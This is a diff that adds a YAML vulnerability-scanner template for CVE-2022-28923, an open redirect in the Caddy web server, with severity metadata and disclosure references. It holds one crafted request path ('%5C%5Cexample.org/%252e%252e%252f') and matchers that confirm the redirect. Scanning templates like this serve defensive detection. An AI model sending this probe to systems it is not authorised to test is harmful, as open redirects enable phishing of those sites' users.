diff --git a/cves/2022/CVE-2022-28923.yaml b/cves/2022/CVE-2022-28923.yaml
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+id: CVE-2022-28923
+info:
+  name: Caddy Open Redirect [CVE-2022-28923]
+  author: Sascha Brendel | Lednerb IT-Security GmbH | lednerb.de
+  severity: medium
+  description: |
+    Caddy version 2.4.6 was discovered to contain an open redirection vulnerability which allows attackers to redirect users to phishing websites via crafted URLs.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-28923
+    cwe-id: CWE-601
+  reference:
+    - https://lednerb.de/en/publications/responsible-disclosure/caddy-open-redirect-vulnerability/
+    - https://www.cve.org/CVERecord?id=CVE-2022-28923
+  tags: cve,cve2022,redirect,caddy,webserver
+  
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%5C%5Cexample.org/%252e%252e%252f"
+    redirects: false
+    max-redirects: 3
+    matchers-condition: and
+    matchers:
+      # Match permanent redirect
+      - type: status
+        status:
+          - 308
+
+      # Only match caddy-Server
+      - type: word
+        words:
+          - "Server: Caddy"
+          - "Server: caddy"
+        condition: or
+        part: header
+      
+      # Do not match redirects to /
+      - type: word
+        part: body
+        negative: true
+        words:
+          - '<a href="/">'
+     
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